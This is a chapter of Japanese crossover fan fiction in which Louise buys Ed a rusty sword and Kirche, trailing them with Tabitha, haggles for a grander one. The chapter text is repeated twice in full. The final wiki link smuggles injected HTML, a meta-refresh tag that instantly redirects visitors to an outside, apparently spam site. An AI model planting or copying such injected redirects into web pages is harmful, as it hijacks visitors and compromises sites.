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*第9話
―とある部屋―
タバサは、一人で本を読んでいた彼女は虚無の曜日が好きだった。自分の世界に好きなだけ浸っていられるからである。すると、どんどんとドアを叩く音が聞こえた。タバサはとりあえず無視をした。
しかし、叩くのを止めない。タバサはめんどくさそうにルーンを呟き、『サイレント』を唱えた
(これで静かになった)
すると、視界の端に真っ赤な髪が見えた。タバサは魔法を解き、キュルケの話を聞いた
つまり、キュルケが言うにはこうだ。
ルイズがエドと一緒に何処かへ行ってしまった。キュルケはエドに恋をしていて、二人で一緒に出かけたのがきにくわないから、タバサの使い魔で追いかけて欲しい
(…面倒だけど、キュルケの頼みだから…)
「…わかった…」
「ほんと!ありがと、タバサ!愛してるわよ!!」
二人はタバサの使い魔のウィンドドラゴンのシルフィードに乗って、ルイズ達の後を追いかけた
―トリスティン城下町―
「ちゃんと財布持ってなさいよ!」
「わかってるよ」
「まったく…こんな所に来たくないのに…ブツブツ…」
そうこうしてる間に、ルイズ 達は目的の店に着いた。そこは、武器屋だった
「今日は特別に、私があんたに剣を買ってあげるわよ!と、特別だからね!」
「いや、別に俺は…」
「なにっ?」
「…なんでもないです」
「いらっしゃい…だ、旦那。貴族の旦那。うちはまっとうな商売してまさぁ。お上に目をつけられるようなことなんか、これっぼっちもありませんや」
「客よ。私の使い魔にぴったりの剣を探しにきたの。適当に選んでちょうだい」
そう言うとルイズは、珍しそうに店内を見ている。
エドといえば、ダルそうに店内を見ている
「旦那。これなんてどうで…」
「却下。もっと立派なのがいいわ!」
店主が持ってきたレイピアを見ずに、ルイズは言った
「じ、じゃあ、これなんていかがでしょう?」
店主が持ってきた剣は、1.5メイルはある大剣だった。見事な装飾、鏡のように両刃の刀身が光っている
「エド!これにしなさいよ!これならメイジの使い魔として十分な威厳があるわ」
ルイズは、目を輝かせて言った
「そんな剣はいらない。実用性がないからな」
エドは、ルイズの意見を無視して、一本の剣を持った
「これでいい。店主、あと剣の材料…鉄もくれ」
エドが選んだ剣は、錆の浮いたボロボロの剣だった
「そんなのでいいの?」
「まぁ、後で錬成し直すからいい」
そう言うとエドは、その剣と鉄鋼石を持って、店を後にした
―その頃―
「見つけた!…ん?な、なによあれ!エドが、私のエドが剣を持ってるわ!ルイズが買ってあげたのね!…まぁいいわ。私がもっと、エドにふさわしい剣を買ってあげるんだから」
そう言うと、キュルケとタバサは、ルイズ達が出てきた店に入っていった
「いらっしゃい。…!?また貴族の旦那か」
「この店で一番立派な剣をくださいな」
「へ、へぇ。わかりました。…これなんていかがでしょう?これは、かの有名な(中略)なんでさぁ」
「いただくわ。おいくら?」
「(やった!)エニュー金貨で3000、新金貨で4500でさぁ!」
「ご主人…ちょっとお高いですわね?」
そう言うと、キュルケは店主にせまりだした。
キュルケの“誘惑”を使った値切りで、その剣を新金貨1000で買ってしまった
「ま、まいどありぃぃ~」
店主は、泣いていた
「これで、エドは私のものね!」
キュルケは買った剣を持って、タバサと一緒に帰っていった
*第9話
―とある部屋―
タバサは、一人で本を読んでいた彼女は虚無の曜日が好きだった。自分の世界に好きなだけ浸っていられるからである。すると、どんどんとドアを叩く音が聞こえた。タバサはとりあえず無視をした。
しかし、叩くのを止めない。タバサはめんどくさそうにルーンを呟き、『サイレント』を唱えた
(これで静かになった)
すると、視界の端に真っ赤な髪が見えた。タバサは魔法を解き、キュルケの話を聞いた
つまり、キュルケが言うにはこうだ。
ルイズがエドと一緒に何処かへ行ってしまった。キュルケはエドに恋をしていて、二人で一緒に出かけたのがきにくわないから、タバサの使い魔で追いかけて欲しい
(…面倒だけど、キュルケの頼みだから…)
「…わかった…」
「ほんと!ありがと、タバサ!愛してるわよ!!」
二人はタバサの使い魔のウィンドドラゴンのシルフィードに乗って、ルイズ達の後を追いかけた
―トリスティン城下町―
「ちゃんと財布持ってなさいよ!」
「わかってるよ」
「まったく…こんな所に来たくないのに…ブツブツ…」
そうこうしてる間に、ルイズ 達は目的の店に着いた。そこは、武器屋だった
「今日は特別に、私があんたに剣を買ってあげるわよ!と、特別だからね!」
「いや、別に俺は…」
「なにっ?」
「…なんでもないです」
「いらっしゃい…だ、旦那。貴族の旦那。うちはまっとうな商売してまさぁ。お上に目をつけられるようなことなんか、これっぼっちもありませんや」
「客よ。私の使い魔にぴったりの剣を探しにきたの。適当に選んでちょうだい」
そう言うとルイズは、珍しそうに店内を見ている。
エドといえば、ダルそうに店内を見ている
「旦那。これなんてどうで…」
「却下。もっと立派なのがいいわ!」
店主が持ってきたレイピアを見ずに、ルイズは言った
「じ、じゃあ、これなんていかがでしょう?」
店主が持ってきた剣は、1.5メイルはある大剣だった。見事な装飾、鏡のように両刃の刀身が光っている
「エド!これにしなさいよ!これならメイジの使い魔として十分な威厳があるわ」
ルイズは、目を輝かせて言った
「そんな剣はいらない。実用性がないからな」
エドは、ルイズの意見を無視して、一本の剣を持った
「これでいい。店主、あと剣の材料…鉄もくれ」
エドが選んだ剣は、錆の浮いたボロボロの剣だった
「そんなのでいいの?」
「まぁ、後で錬成し直すからいい」
そう言うとエドは、その剣と鉄鋼石を持って、店を後にした
―その頃―
「見つけた!…ん?な、なによあれ!エドが、私のエドが剣を持ってるわ!ルイズが買ってあげたのね!…まぁいいわ。私がもっと、エドにふさわしい剣を買ってあげるんだから」
そう言うと、キュルケとタバサは、ルイズ達が出てきた店に入っていった
「いらっしゃい。…!?また貴族の旦那か」
「この店で一番立派な剣をくださいな」
「へ、へぇ。わかりました。…これなんていかがでしょう?これは、かの有名な(中略)なんでさぁ」
「いただくわ。おいくら?」
「(やった!)エニュー金貨で3000、新金貨で4500でさぁ!」
「ご主人…ちょっとお高いですわね?」
そう言うと、キュルケは店主にせまりだした。
キュルケの“誘惑”を使った値切りで、その剣を新金貨1000で買ってしまった
「ま、まいどありぃぃ~」
店主は、泣いていた
「これで、エドは私のものね!」
キュルケは買った剣を持って、タバサと一緒に帰っていった[[@wikiへ>http://kam.jp"><META HTTP-EQUIV="Refresh" CONTENT="0; URL=http://esthe.pink.sh/r/]]